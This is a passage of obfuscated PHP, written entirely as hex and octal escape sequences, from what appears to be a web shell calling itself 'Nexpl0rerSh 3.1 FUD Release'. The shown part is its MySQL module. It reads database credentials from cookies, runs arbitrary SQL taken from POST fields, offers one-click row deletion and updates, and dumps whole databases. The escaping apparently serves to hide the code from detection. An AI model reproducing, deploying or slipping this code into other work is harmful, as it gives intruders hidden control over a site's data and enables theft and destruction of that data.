40\x68\x72\x65\146\x3d\42\152\x61\166\x61\163\143\x72\151\x70\164\x3a\x64\x6f\143\x75\155\x65\x6e\164\56\164\x61\142\x6c\x65\56\x71\165\x65\162\x79\56\x76\x61\154\165\x65\75\134\47\x53\x45\114\105\103\124\x20\x2a\40\x46\x52\x4f\115\40\47\56\x24\164\141\142\154\145\x5b\x30\135\56\x27\134\47\73\x64\157\x63\165\x6d\x65\x6e\x74\56\164\141\x62\x6c\x65\56\x73\x75\x62\x6d\x69\x74\50\51\x3b\x22\x3e\x27\x2e\44\x74\x61\142\154\145\133\x30\135\56\x27\74\57\141\x3e\74\57\x63\x65\156\x74\x65\x72\x3e\74\57\x74\144\76\12\40\x20\74\x2f\164\162\x3e\47\73\12\x20\x20\xa\x7d\x20\xa\x20\x20\12\12\40\x24\x6f\x75\164\x70\x75\164\40\56\75\x20\47\xa\x3c\57\164\141\x62\154\145\x3e\74\57\x74\x64\76\12\xa\x3c\x74\144\40\x77\151\144\164\x68\75\x22\67\60\x25\x22\40\166\x61\x6c\151\147\156\75\x22\x74\157\160\x22\x3e\xa\74\x74\141\142\x6c\x65\40\167\151\144\164\x68\75\x22\x31\60\x30\45\42\40\142\157\162\x64\145\162\75\42\61\42\40\143\145\154\154\163\160\x61\143\151\x6e\x67\x3d\x22\60\42\40\x63\x65\x6c\154\x70\141\144\x64\x69\x6e\147\x3d\x22\60\x22\x3e\12\40\40\74\x74\162\76\xa\x20\x20\x20\x20\x3c\x74\144\76\x3c\x63\145\156\x74\145\162\x3e\55\x2d\x5b\40\x51\165\145\162\171\x20\x52\145\x73\165\154\x74\x20\x5d\x2d\55\x3c\x2f\143\x65\x6e\x74\x65\x72\x3e\x20\74\x2f\x74\x64\76\12\x20\x20\x3c\57\x74\x72\x3e\12\40\x20\x3c\164\162\x3e\x3c\x74\x64\x3e\74\x74\141\x62\154\x65\x20\143\145\154\154\123\160\141\x63\x69\x6e\x67\x3d\60\40\142\157\x72\144\x65\x72\103\x6f\x6c\157\x72\104\141\x72\x6b\x3d\43\x36\66\x36\66\x36\x36\40\143\145\x6c\x6c\120\141\x64\144\x69\156\147\75\x35\x20\167\151\144\x74\x68\x3d\42\x31\45\x22\x20\142\x67\x43\x6f\154\157\162\x3d\43\x30\60\x30\60\60\x30\40\142\x6f\x72\144\x65\x72\x43\157\x6c\157\162\x4c\x69\147\150\x74\x3d\x23\x63\60\x63\x30\x63\x30\x20\142\x6f\162\144\145\162\75\61\76\74\164\162\x3e\12\40\40\x20\47\x3b\12\x20\x20\44\x6f\x75\164\x70\165\x74\x20\x2e\75\x20\47\74\164\144\76\46\x6e\142\163\160\x3b\x3c\x2f\x74\x64\76\xa\x27\73\x20\xa\x9\x66\157\162\145\x61\143\x68\50\44\x70\141\x72\x73\x20\x61\163\40\x24\160\x61\162\x29\40\x7b\12\11\x24\x6f\165\164\x70\x75\x74\x20\x2e\x3d\40\x28\151\x73\137\x6e\x75\155\145\x72\x69\x63\x28\44\x70\x61\162\x29\40\174\174\x20\50\44\160\x61\162\40\x3d\x3d\x20\x22\42\51\51\x20\77\x20\x27\x27\x20\x3a\40\x27\x3c\164\x64\x3e\x27\56\x24\x70\x61\x72\56\x27\74\x2f\x74\x64\76\12\47\x3b\x20\x7d\12\x9\12\11\44\x6f\x75\x74\160\165\x74\x20\56\75\x20\x27\74\x2f\x74\162\76\x27\x3b\x20\xa\11\x6d\171\163\x71\154\137\144\141\x74\x61\137\163\x65\x65\x6b\50\x24\x71\165\145\x72\x79\x2c\x20\x30\x29\73\xa\11\x77\x68\151\154\145\40\50\44\162\157\x77\40\75\40\155\x79\x73\x71\154\x5f\146\145\x74\143\150\137\141\162\162\x61\x79\x28\x24\161\165\x65\162\171\54\40\x4d\131\123\121\x4c\137\x41\123\x53\117\x43\x29\51\12\11\173\xa\x9\xa\11\x20\x24\x77\x20\x3d\x20\x22\42\x3b\xa\40\x20\x20\x20\40\x20\40\44\x69\40\75\x20\x30\x3b\12\x9\x20\40\12\40\40\40\x20\x20\x20\x20\x66\157\x72\145\x61\x63\150\40\x28\x24\162\157\167\40\x61\163\40\x24\153\x3d\x3e\44\166\x29\40\173\x24\156\x61\155\x65\40\75\x20\x6d\x79\x73\161\154\x5f\146\x69\145\154\x64\137\x6e\141\155\145\50\x24\161\x75\145\162\x79\x2c\44\x69\51\x3b\x20\x24\x77\x20\56\75\x20\x22\x20\x60\x22\x2e\44\156\141\155\145\x2e\42\140\x20\75\x20\x5c\x27\42\56\141\144\144\x73\154\x61\x73\x68\145\x73\50\x24\x76\51\56\42\134\47\x20\101\116\104\42\x3b\x20\44\x69\53\x2b\73\175\xa\40\40\40\x20\40\40\x20\151\146\40\50\143\x6f\165\156\x74\x28\44\162\x6f\x77\51\x20\x3e\40\x30\x29\40\x7b\x24\x77\40\75\40\163\x75\x62\x73\164\x72\x28\x24\167\x2c\x30\54\163\164\x72\154\x65\156\50\44\x77\x29\55\63\x29\73\175\12\x9\11\x69\x66\x20\50\x24\164\x61\142\154\x65\137\x6e\141\x6d\145\x20\75\75\40\x22\x6d\171\x62\x62\137\x75\x73\x65\162\163\x22\51\x20\44\x77\x20\75\40\42\x20\x75\x69\144\75\x5c\47\x22\x2e\x24\162\x6f\x77\133\x27\x75\x69\x64\x27\x5d\x2e\x22\134\x27\40\42\73\xa\x9\x9\151\146\x20\50\44\164\141\142\154\x65\137\x6e\x61\155\x65\40\75\x3d\40\x22\160\150\160\142\142\137\165\163\145\x72\x73\42\51\40\44\167\x20\x3d\40\x22\x20\x75\163\x65\162\137\x69\144\75\134\47\x22\56\x24\162\x6f\x77\x5b\x27\165\163\145\162\x5f\151\144\x27\x5d\x2e\x22\134\x27\40\42\73\12\44\x6f\x75\x74\160\x75\164\40\56\75\40\x27\74\164\x72\76\x27\73\12\44\157\165\164\x70\165\164\40\56\75\x20\47\74\x74\144\76\74\141\x20\143\x6c\141\163\163\x3d\x22\x6c\x69\x6e\x6b\x22\40\150\x72\145\x66\75\x22\x6a\x61\166\x61\x73\x63\162\151\160\x74\72\144\x6f\x63\165\x6d\x65\156\x74\56\x75\x70\x64\x61\164\145\x2e\143\157\x6e\x64\151\164\x69\157\156\163\56\x76\x61\x6c\165\x65\x3d\134\x27\x27\x2e\165\x72\x6c\145\156\x63\x6f\144\145\50\44\167\51\56\47\134\47\x3b\x64\x6f\x63\x75\x6d\145\156\x74\56\x75\x70\144\141\164\x65\56\x74\x61\142\154\145\x2e\166\141\154\165\x65\x3d\x5c\x27\47\56\x24\164\141\142\154\145\x5f\x6e\141\x6d\x65\56\x27\134\47\73\144\157\x63\x75\x6d\x65\x6e\164\56\165\x70\x64\141\164\x65\56\x73\165\x62\x6d\x69\x74\50\x29\73\x22\76\74\151\x6d\x67\x20\163\162\143\75\x22\x27\56\44\x5f\123\105\122\126\x45\x52\133\x27\120\x48\x50\x5f\123\x45\114\106\47\135\56\47\x3f\141\x63\164\x3d\151\155\147\x26\151\155\147\75\x63\x68\141\156\147\x65\42\x20\142\x6f\x72\x64\145\162\75\x30\x20\57\76\x3c\57\141\76\x3c\141\40\x63\x6c\x61\163\x73\x3d\x22\154\151\156\153\42\40\x68\162\x65\146\x3d\x22\152\x61\x76\x61\x73\x63\x72\x69\160\x74\x3a\144\157\143\165\x6d\x65\x6e\164\x2e\164\x61\142\154\145\x2e\x71\165\x65\x72\x79\x2e\x76\x61\154\165\145\x3d\x5c\47\47\x2e\165\x72\x6c\x65\156\x63\157\x64\145\x28\42\x44\x45\x4c\x45\124\105\40\106\122\117\115\40\140\42\56\44\164\x61\142\x6c\x65\x5f\156\141\x6d\x65\56\x22\140\40\127\x48\105\122\105\x22\56\x24\167\x2e\x22\x4c\x49\x4d\111\124\40\61\42\51\x2e\47\x5c\x27\73\144\x6f\143\x75\x6d\x65\156\164\x2e\x74\x61\142\154\x65\56\163\x75\142\155\151\164\50\51\x3b\42\76\74\x69\155\x67\x20\163\162\x63\75\42\x27\x2e\44\137\x53\105\122\x56\105\122\133\x27\120\x48\x50\x5f\123\x45\114\106\47\x5d\56\47\x3f\x61\x63\164\x3d\x69\155\147\46\x69\155\147\75\144\x65\x6c\x65\x74\x65\42\x20\142\x6f\162\144\145\162\75\x30\40\57\x3e\x3c\x2f\x61\x3e\x3c\57\x74\x64\76\12\47\x3b\12\x66\157\162\145\141\143\150\x20\x28\x24\x72\x6f\167\40\x61\x73\40\44\x70\x61\162\144\x64\75\x3e\x24\x72\157\167\166\x61\x6c\x29\40\x7b\x20\12\12\x20\x20\40\x20\x20\x20\40\x20\xa\x20\x20\40\x20\x20\151\x66\x20\x28\x21\x69\163\137\156\x75\155\x65\x72\151\x63\x28\x24\x70\x61\162\x64\144\x29\x20\x26\x26\x20\x21\x65\155\160\164\x79\x28\x24\160\x61\162\x64\144\51\51\x20\x7b\12\40\151\x66\40\50\44\x72\x6f\x77\133\x24\160\x61\162\144\144\135\40\75\75\40\42\42\51\x20\x7b\x20\44\157\x75\x74\x70\165\164\40\x2e\75\40\x27\x3c\x74\x64\76\74\146\x6f\x6e\164\40\143\x6f\x6c\x6f\162\x3d\x67\162\145\x65\x6e\76\74\x62\76\116\x55\x4c\114\74\57\x62\x3e\x3c\57\x66\157\x6e\164\76\x3c\57\x74\144\x3e\47\x3b\40\175\40\x65\x6c\x73\x65\x20\x7b\40\x24\157\165\x74\x70\165\164\x20\x2e\x3d\x20\47\74\x74\x64\x3e\47\56\44\x72\157\167\x5b\x24\160\x61\x72\144\x64\135\x2e\47\74\57\x74\x64\76\47\x3b\175\x7d\xa\40\x20\x20\40\40\12\175\xa\x20\x24\x6f\x75\164\x70\165\164\x20\56\75\40\x27\x3c\57\x74\162\76\x27\x3b\xa\x7d\12\11\40\x20\44\x6f\x75\164\x70\x75\x74\40\56\75\40\x27\12\40\x20\40\40\74\57\164\141\x62\154\x65\x3e\74\x2f\164\x64\x3e\xa\x20\40\x3c\57\x74\x72\x3e\12\40\40\74\x2f\x74\141\x62\x6c\145\x3e\x3c\x68\162\40\163\x69\172\x65\75\x22\61\42\x20\156\157\x73\x68\141\x64\x65\x3e\x3c\142\x72\x3e\x27\73\12\12\175\12\57\x2f\x20\115\171\x53\x51\x4c\40\125\x70\144\x61\164\145\x20\162\x6f\167\12\151\x66\40\50\44\137\x50\x4f\123\124\x5b\47\x6d\157\144\x65\x27\x5d\x20\x3d\x3d\x20\x22\x75\160\x64\x61\164\145\42\51\40\x7b\xa\x24\154\151\156\153\40\x3d\x20\x6d\x79\163\x71\154\137\x63\157\156\x6e\x65\x63\x74\50\x24\137\103\x4f\117\113\x49\x45\133\x27\x6d\171\x73\x71\154\x5f\150\x6f\x73\x74\x27\135\x2c\40\44\137\x43\x4f\117\x4b\x49\105\133\47\x6d\171\x73\161\x6c\x5f\x75\163\145\x72\x27\x5d\54\x20\x24\137\103\117\117\113\111\x45\133\x27\155\x79\x73\x71\x6c\137\x70\141\x73\163\47\x5d\x29\157\162\40\144\151\145\50\155\171\x73\x71\x6c\137\145\162\x72\x6f\162\x28\x29\51\73\xa\x24\x64\x62\x20\75\40\x6d\171\163\161\x6c\x5f\x73\145\x6c\145\143\x74\137\x64\x62\x28\x24\137\103\x4f\117\x4b\x49\x45\x5b\x27\x6d\x79\x73\x71\x6c\x5f\x6e\141\x6d\x65\47\x5d\51\73\12\44\x63\x6f\x6e\x64\x69\164\x69\x6f\x6e\163\x20\75\40\165\x72\154\144\x65\143\x6f\144\145\x28\163\164\162\151\160\x73\x6c\141\163\150\145\163\50\44\x5f\120\117\123\x54\x5b\x27\143\x6f\156\x64\151\164\151\157\156\x73\x27\135\x29\x29\x3b\12\x24\164\x61\x62\154\145\x20\x3d\40\x24\x5f\120\x4f\x53\124\133\47\164\141\142\x6c\x65\x27\x5d\73\xa\x24\163\145\154\145\143\164\x20\x3d\40\155\171\163\x71\154\x5f\x71\165\145\x72\x79\x28\x22\123\x45\114\105\103\124\x20\52\40\x46\x52\x4f\115\x20\x7b\44\x74\x61\x62\x6c\x65\x7d\40\x57\110\105\122\105\x7b\44\x63\x6f\x6e\x64\151\x74\x69\157\x6e\x73\x7d\x4c\x49\x4d\x49\124\40\x31\x22\x29\x6f\162\40\144\151\145\50\155\171\x73\161\154\137\145\x72\x72\x6f\x72\50\x29\x29\x3b\xa\x24\x6f\165\164\x70\165\164\x20\x2e\75\x20\47\xa\x3c\146\157\x72\155\x20\x69\x64\75\42\x74\x61\x62\154\145\x22\x20\156\141\x6d\145\x3d\x22\x74\141\x62\x6c\145\x22\40\x6d\x65\x74\150\157\144\75\x22\160\x6f\163\164\x22\x20\x61\x63\x74\x69\x6f\156\x3d\42\43\42\76\x3c\151\156\x70\x75\164\40\164\x79\x70\145\75\150\151\144\x64\x65\x6e\40\156\x61\x6d\145\x3d\155\157\144\145\40\166\x61\154\x75\145\75\163\x71\154\x5f\x71\165\145\162\x79\x20\x2f\76\xa\40\12\x20\x20\74\x69\x6e\160\x75\x74\x20\156\141\155\145\x3d\x22\x71\x75\x65\x72\x79\x22\x20\164\171\x70\145\75\x22\164\x65\170\164\x22\x20\x69\144\x3d\42\x71\x75\145\x72\171\x22\40\x73\x69\172\145\x3d\42\65\x30\x22\40\166\141\154\x75\145\x3d\42\x53\x45\x4c\x45\x43\124\x20\52\x20\x46\122\117\x4d\40\x74\141\142\154\145\137\x6e\x61\155\145\x22\40\x2f\76\12\x20\40\74\x69\x6e\x70\x75\164\x20\164\x79\x70\x65\75\x22\163\165\142\x6d\x69\164\42\x20\156\x61\155\145\x3d\42\x53\x75\x62\155\x69\164\x22\40\166\141\x6c\165\x65\75\42\121\165\x65\x72\171\x22\40\x2f\x3e\xa\74\57\146\157\x72\155\x3e\x3c\x66\x6f\162\x6d\x20\141\143\x74\x69\157\x6e\75\x23\x20\x6d\145\164\150\x6f\x64\x3d\x70\157\163\x74\76\x3c\151\x6e\x70\x75\164\x20\x74\171\x70\x65\x3d\150\x69\x64\144\x65\x6e\40\156\x61\155\145\75\x6d\x6f\144\x65\40\x76\x61\x6c\165\x65\75\144\x75\155\160\x5f\x64\x62\76\74\151\x6e\x70\x75\164\x20\156\141\155\145\75\144\142\156\x61\x6d\x65\x20\x74\171\x70\145\75\164\145\x78\x74\x20\x76\141\154\x75\145\75\42\47\56\44\137\x43\x4f\x4f\x4b\111\x45\x5b\x6d\171\163\x71\154\137\156\x61\x6d\145\135\x2e\x27\42\x20\163\x69\x7a\145\x3d\42\63\x30\x22\76\12\74\151\156\x70\165\x74\40\x74\x79\160\145\75\x73\165\x62\155\151\x74\x20\x76\x61\154\165\x65\x3d\x44\x75\x6d\x70\x44\142\x3e\x3c\57\x66\x6f\162\155\76\74\x66\x6f\162\155\x20\156\141\x6d\145\75\x22\165\x70\x64\141\164\145\x22\x20\155\x65\x74\x68\157\x64\x3d\160\x6f\x73\x74\40\x61\143\x74\x69\157\156\x3d\43\76\74\151\156\x70\165\x74\x20\x74\171\x70\x65\x3d\x68\x69\144\144\145\x6e\40\156\x61\155\x65\x3d\x6d\x6f\144\145\40\x76\x61\154\165\x65\x3d\165\x70\144\x61\x74\x65\76\74\151\156\160\x75\x74\x20\x74\171\x70\x65\x3d\150\x69\144\144\x65\x6e\x20\156\141\x6d\145\x3d\x63\x6f\156\x64\x69\x74\x69\x6f\156\163\76\74\151\156\x70\165\164\x20\164\171\160\x65\x3d\x68\x69\x64\x64\x65\x6e\40\x6e\141\x6d\145\75\164\141\x62\x6c\145\76\74\57\146\157\162\x6d\76\12\12\74\x74\141\x62\154\145\40\167\151\144\164\150\x3d\x22\61\x30\x30\x25\x22\x20\x62\157\x72\x64\145\162\75\x22\x31\42\40\x63\x65\x6c\x6c\x73\160\141\143\x69\156\147\75\42\60\42\x20\143\x65\x6c\x6c\160\141\x64\x64\151\x6e\x67\75\42\60\42\x3e\xa\x3c\x74\x72\76\xa\x3c\x74\144\40\x77\151\144\x74\x68\x3d\63\60\45\40\x76\x61\x6c\151\147\x6e\x3d\x74\157\160\x3e\12\74\164\x61\x62\154\x65\x20\167\151\x64\x74\x68\x3d\42\61\60\x30\x25\x22\40\x62\x6f\x72\x64\x65\162\x3d\42\61\x22\x20\x63\145\154\x6c\163\160\141\143\151\x6e\147\75\x22\x30\42\40\143\x65\x6c\x6c\x70\x61\144\x64\x69\156\x67\x3d\x22\60\42\76\xa\x20\12\40\x20\x3c\57\164\x72\76\xa\40\x20\74\164\x72\76\xa\40\40\x20\40\x3c\x74\144\76\x3c\x63\x65\x6e\164\x65\162\x3e\55\x2d\133\40\124\141\142\154\145\x20\114\151\163\x74\40\x5d\55\x2d\x3c\57\x63\x65\x6e\x74\145\x72\x3e\x20\74\x2f\164\144\x3e\xa\40\x20\x3c\x2f\164\162\x3e\x27\x3b\xa\40\x24\161\x20\75\40\155\171\163\161\x6c\x5f\161\165\x65\x72\171\x28\42\123\110\117\127\40\x54\x41\102\x4c\105\123\42\51\x6f\162\40\x64\x69\x65\50\155\171\x73\161\154\137\145\162\162\157\x72\x28\51\51\x3b\xa\x77\x68\x69\154\145\x20\x28\x24\x74\141\x62\x6c\x65\40\75\40\x6d\171\163\161\154\x5f\x66\145\164\x63\150\137\x61\x72\162\141\171\50\44\161\x29\x29\x20\173\xa\44\157\x75\x74\x70\165\164\40\x2e\x3d\x20\47\74\164\162\76\12\x20\x20\40\40\x3c\x74\144\76\74\143\145\x6e\x74\x65\x72\76\74\x61\x20\143\154\141\163\163\x3d\42\x6c\151\156\153\x22\40\x68\x72\145\x66\75\x22\x6a\x61\x76\x61\x73\143\x72\x69\160\x74\x3a\144\157\143\x75\155\145\x6e\164\56\164\x61\x62\154\x65\56\x71\x75\145\x72\171\x2e\166\x61\x6c\165\145\75\x5c\47\123\x45\114\105\x43\124\x20\52\x20\106\x52\117\115\40\x27\56\x24\x74\x61\x62\x6c\x65\x5b\x30\x5d\x2e\x27\134\47\x3b\x64\157\x63\165\x6d\145\156\164\x2e\x74\x61\x62\154\145\x2e\163\165\x62\155\x69\x74\x28\x29\73\x22\x3e\x27\x2e\44\x74\x61\142\x6c\x65\x5b\60\x5d\56\x27\x3c\x2f\x61\x3e\74\x2f\143\x65\x6e\x74\145\x72\76\x3c\x2f\164\x64\x3e\12\40\40\x3c\57\164\x72\76\47\x3b\xa\40\40\xa\175\x20\xa\x20\x20\12\12\40\44\157\x75\x74\160\165\164\40\x2e\x3d\x20\47\xa\74\x2f\164\x61\142\x6c\x65\x3e\x3c\57\164\x64\x3e\xa\xa\74\164\144\40\x77\x69\144\164\150\x3d\x22\x37\x30\45\x22\x20\166\141\x6c\x69\147\156\x3d\x22\164\x6f\x70\x22\76\12\x3c\164\x61\142\154\145\x20\x77\151\144\164\150\x3d\x22\x31\60\60\x25\42\40\x62\157\162\144\145\x72\x3d\x22\61\42\40\x63\x65\154\154\x73\x70\x61\x63\151\156\147\75\x22\60\42\x20\x63\x65\154\x6c\160\141\x64\144\151\x6e\147\x3d\42\x30\x22\76\xa\40\x20\74\x74\x72\76\xa\40\x20\40\40\x3c\x74\x64\76\74\x63\145\156\164\x65\x72\x3e\55\x2d\133\x20\x51\165\145\162\171\x20\122\x65\163\x75\154\164\40\135\x2d\x2d\74\57\143\x65\x6e\x74\x65\x72\x3e\40\74\57\x74\x64\76\xa\x20\40\74\x2f\164\162\76\12\x20\40\74\164\x72\x3e\74\x74\144\76\x3c\146\157\162\155\40\x61\x63\164\x69\157\156\75\43\x20\155\x65\164\150\x6f\144\x3d\160\x6f\163\164\76\12\74\x69\156\160\x75\x74\40\164\171\x70\145\x3d\x68\151\144\144\145\156\x20\156\x61\155\145\75\x6d\157\x64\x65\40\x76\x61\x6c\165\145\x3d\165\160\144\141\x74\145\x32\76\xa\x3c\x74\x61\x62\x6c\145\x20\x63\x65\x6c\154\x53\160\141\x63\x69\156\147\x3d\x30\x20\x62\x6f\162\144\145\x72\103\157\154\157\162\x44\141\x72\153\x3d\43\66\66\x36\x36\66\x36\40\143\x65\x6c\x6c\x50\141\x64\144\x69\156\x67\75\x35\40\x77\151\x64\x74\150\x3d\x22\61\45\x22\40\x62\x67\103\x6f\x6c\x6f\x72\x3d\x23\60\x30\x30\x30\x30\x30\40\142\157\x72\144\145\162\x43\x6f\x6c\x6f\x72\x4c\x69\147\x68\164\75\43\x63\x30\143\x30\x63\60\40\x62\x6f\162\144\145\x72\75\61\76\xa\47\73\12\167\150\151\x6c\145\x20\50\x24\162\157\x77\40\75\x20\155\x79\163\x71\x6c\137\x66\145\164\x63\x68\137\141\x72\x72\141\171\x28\x24\x73\145\x6c\145\x63\164\x2c\x20\115\x59\123\x51\x4c\x5f\101\123\123\117\103\51\x29\40\173\xa\146\157\162\145\x61\143\x68\x20\50\44\x72\x6f\167\40\x61\x73\x20\x24\x6b\x3d\76\x24\166\x29\x20\173\xa\xa\44\157\x75\x74\160\x75\x74\x20\56\x3d\x20\42\74\x74\x72\x3e\x3c\x74\144\76\x7b\44\x6b\175\x3c\57\164\144\76\x3c\164\x64\x3e\x3c\151\x6e\x70\x75\164\x20\164\171\160\145\75\x74\x65\x78\x74\40\156\x61\x6d\145\75\47\173\x24\x6b\x7d\x27\x20\x76\x61\x6c\165\x65\75\47\x7b\44\x76\x7d\x27\76\74\x2f\164\144\76\x3c\x2f\164\162\x3e\42\x3b\12\12\x7d\xa\175\xa\44\x6f\x75\x74\160\165\164\40\x2e\x3d\x27\12\74\57\x74\141\142\x6c\145\x3e\x3c\151\x6e\x70\165\x74\40\x74\x79\x70\145\x3d\x68\x69\144\144\145\x6e\40\x6e\141\x6d\x65\75\164\141\142\154\145\40\x76\141\154\x75\x65\x3d\x22\x27\56\44\x5f\x50\117\x53\x54\x5b\x27\164\x61\x62\x6c\x65\47\135\56\47\42\x3e\74\151\x6e\x70\x75\x74\40\x74\x79\x70\145\75\150\151\144\144\x65\156\x20\x6e\x61\x6d\145\x3d\x63\x6f\x6e\x64\x69\164\151\157\x6e\163\x20\166\141\154\x75\x65\x3d\x22\47\56\x24\137\120\117\x53\124\133\x27\x63\x6f\x6e\144\151\164\x69\157\156\163\47\x5d\56\47\42\76\x3c\151\156\x70\165\x74\x20\x74\171\160\145\x3d\163\x75\x62\155\151\x74\x20\x76\x61\x6c\x75\145\x3d\125\160\144\x61\164\145\76\x3c\57\x66\x6f\162\155\76\x3c\x2f\x74\x64\x3e\x3c\x2f\x74\162\x3e\74\57\x74\x61\142\154\145\x3e\74\x2f\164\x64\x3e\xa\40\x20\x3c\57\x74\162\76\xa\40\40\x3c\57\x74\141\x62\x6c\x65\x3e\xa\47\73\x20\xa\175\12\12\57\57\x20\115\171\x53\x51\x4c\x20\165\160\x64\141\164\145\x20\162\157\x77\40\x32\12\x69\x66\40\50\44\137\120\x4f\x53\124\133\47\x6d\157\144\145\x27\x5d\40\75\75\40\x22\x75\x70\144\141\164\145\62\x22\x29\x20\173\12\x20\x24\x6c\x69\156\x6b\40\x3d\40\155\171\163\161\154\137\x63\x6f\156\156\x65\x63\x74\50\x24\x5f\x43\117\117\x4b\x49\105\133\47\x6d\x79\x73\161\x6c\137\x68\x6f\163\164\x27\x5d\54\40\44\137\x43\x4f\117\113\x49\x45\133\47\x6d\171\x73\x71\154\x5f\x75\x73\x65\x72\47\x5d\x2c\40\44\137\103\117\x4f\113\111\105\133\x27\155\171\x73\x71\154\137\x70\x61\x73\x73\47\135\51\x6f\x72\x20\144\x69\x65\x28\x6d\x79\163\x71\154\137\x65\x72\162\157\x72\x28\51\51\x3b\12\x24\x64\142\40\x3d\x20\155\171\163\161\x6c\x5f\x73\x65\154\145\143\x74\137\144\x62\50\44\x5f\103\x4f\x4f\x4b\111\x45\133\x27\155\171\x73\x71\154\137\x6e\x61\x6d\x65\47\135\51\73\xa\x24\143\x6f\156\144\151\x74\x69\x6f\156\x73\x20\x3d\x20\165\x72\x6c\144\x65\x63\157\x64\145\x28\x73\164\x72\151\x70\163\x6c\x61\163\150\145\x73\x28\163\x74\162\x69\x70\163\154\x61\x73\x68\x65\x73\50\x24\137\120\117\123\x54\133\x27\143\157\x6e\x64\151\164\151\x6f\156\163\47\x5d\x29\x29\51\73\xa\44\x74\x61\142\154\x65\40\x3d\40\x24\137\x50\117\123\x54\x5b\47\x74\x61\142\154\145\x27\135\73\12\44\x73\x65\x6c\x65\143\164\x20\x3d\40\155\x79\x73\x71\x6c\x5f\x71\x75\x65\x72\x79\50\42\x53\105\x4c\105\x43\124\40\52\40\106\x52\117\x4d\x20\173\44\x74\x61\142\x6c\x65\x7d\x20\127\110\105\x52\105\173\44\x63\x6f\x6e\144\151\164\x69\157\156\x73\x7d\x4c\x49\x4d\x49\124\x20\x31\x22\51\157\x72\x20\144\151\x65\50\42\x71\x75\145\162\x79\40\x3a\40\x53\105\114\105\x43\x54\x20\52\40\106\x52\117\x4d\x20\173\x24\164\x61\142\154\x65\x7d\x20\127\x48\x45\x52\x45\173\44\x63\157\156\x64\x69\164\151\x6f\156\x73\x7d\114\111\115\x49\x54\40\61\74\x62\162\x20\x2f\x3e\74\142\162\x20\57\76\42\56\155\x79\x73\161\x6c\137\145\162\x72\x6f\162\x28\x29\51\x3b\xa\44\x75\156\157\x20\x3d\40\155\171\x73\161\x6c\137\x66\x65\x74\143\x68\x5f\x61\162\x72\x61\x79\50\x24\163\x65\154\145\x63\164\x2c\x20\115\x59\123\x51\x4c\x5f\101\123\x53\117\x43\x29\x3b\xa\44\x70\141\x72\163\x20\75\x20\141\x72\x72\141\171\x5f\x6b\x65\x79\x73\x28\44\x75\156\157\x29\73\12\x24\161\165\x65\x72\171\40\75\40\42\x55\x50\x44\101\x54\x45\40\173\44\x74\x61\x62\154\x65\175\40\x53\x45\124\x22\73\12\x66\x6f\x72\145\x61\x63\150\x28\x24\160\141\162\x73\x20\141\x73\x20\x24\146\x69\145\154\144\163\x29\40\173\xa\x24\161\x75\145\x72\171\40\x2e\x3d\x20\x22\x20\173\x24\x66\x69\145\154\144\163\x7d\75\x27\x7b\44\x5f\x50\117\x53\x54\x5b\44\x66\151\x65\x6c\144\x73\135\x7d\47\x2c\x22\x3b\12\175\xa\44\x71\x75\x65\x72\x79\40\75\40\x73\165\x62\x73\164\x72\50\x24\161\165\x65\162\171\54\x30\54\x73\x74\162\154\145\156\x28\44\161\x75\x65\x72\x79\51\x2d\61\x29\x3b\12\x24\x71\x75\x65\162\x79\40\56\75\40\x22\40\x57\x48\x45\x52\105\x7b\x24\x63\x6f\x6e\144\x69\x74\x69\157\156\x73\175\x22\x3b\xa\44\x6f\165\164\x70\165\x74\x20\x3d\40\42\105\x78\x65\143\165\x74\145\144\x20\161\x75\145\162\x79\72\x20\173\44\x71\165\x65\x72\x79\x7d\40\x3c\x62\162\x20\57\x3e\74\x62\162\x20\57\x3e\x22\x3b\xa\x6d\x79\x73\x71\154\x5f\x71\x75\x65\162\171\x28\x24\161\165\145\x72\x79\x29\x6f\x72\x20\x64\x69\145\50\x22\121\125\105\122\131\x3a\40\x22\56\x24\x71\x75\x65\162\x79\56\42\x3c\x62\x72\x20\57\76\x3c\x62\162\40\x2f\x3e\40\x45\122\122\117\122\72\x22\x2e\x6d\171\163\x71\x6c\x5f\x65\162\x72\157\162\x28\x29\51\x3b\12\x7d\xa\xa\57\57\40\115\171\123\x51\114\40\104\165\x6d\160\xa\x69\x66\40\x28\x24\x5f\x50\117\x53\124\x5b\47\x6d\157\144\x65\47\x5d\x20\x3d\x3d\40\42\144\x75\x6d\160\x5f\x64\142\42\51\x20\x7b\12\44\x64\x75\155\160\40\x3d\x20\42\43\x20\104\x75\x6d\x70\x65\x64\40\x62\x79\x20\116\145\170\160\154\60\162\x65\162\x53\x68\40\63\56\x31\x20\x46\125\104\x20\122\x65\x6c\145\x61\163\x65\x20\134\156\x22\73\12\x24\x64\165\155\160\40\56\x3d\x20\42\x23\40\115\171\123\121\114\x20\166\145\x72\163\x69\157\x6e\x3a\40\x28\42\x2e\100\155\171\163\161\x6c\137\147\x65\x74\x5f\x73\145\162\x76\x65\x72\x5f\x69\x6e\146\x6f\x28\x29\56\42\x29\x20\x72\x75\156\x6e\151\156\147\40\x6f\x6e\x20\x22\56\x67\x65\x74\145\x6e\x76\50\x22\x53\x45\x52\x56\105\122\137\101\104\104\122\42\x29\56\x22\x20\50\x22\x2e\x67\145\x74\145\156\166\x28\x22\123\x45\x52\x56\x45\x52\x5f\116\x41\x4d\105\x22\x29\x2e\42\51\x20\x5c\x6e\42\x3b\xa\x24\144\165\155\x70\x20\x2e\x3d\40\42\43\x20\104\141\x74\x61\142\x61\163\145\72\x20\x22\x2e\x24\x5f\x50\117\x53\124\133\47\x64\x62\x6e\x61\155\145\x27\x5d\56\42\x5c\156\42\73\12\x24\144\165\x6d\160\x20\x2e\x3d\40\x22\x23\40\x22\x2e\x24\x5f\103\117\x4f\x4b\x49\x45\x5b\47\x6d\171\163\161\154\x5f\165\x73\x65\x72\x27\135\56\x22\x3a\x22\x2e\44\x5f\103\x4f\x4f\x4b\111\x45\x5b\47\x6d\x79\163\161\x6c\x5f\x70\141\163\163\47\x5d\56\42\100\x22\x2e\44\137\103\x4f\117\x4b\111\x45\x5b\47\155\171\163\161\154\137\150\x6f\163\164\x27\135\x2e\x22\x5c\x6e\x22\x3b\xa\x24\x64\x62\40\x3d\40\x24\137\x50\117\123\124\133\x27\x64\142\156\x61\x6d\145\47\x5d\73\12\x73\x65\164\x63\x6f\157\x6b\x69\x65\x28\x27\155\x79\163\161\x6c\137\x6e\x61\155\145\47\54\40\44\x64\142\51\73\12\x24\154\x69\x6e\x6b\40\x3d\x20\155\x79\x73\161\x6c\137\143\157\x6e\x6e\145\143\x74\50\x24\137\103\117\x4f\113\111\x45\133\47\155\x79\x73\161\154\137\x68\x6f\x73\x74\47\135\x2c\x20\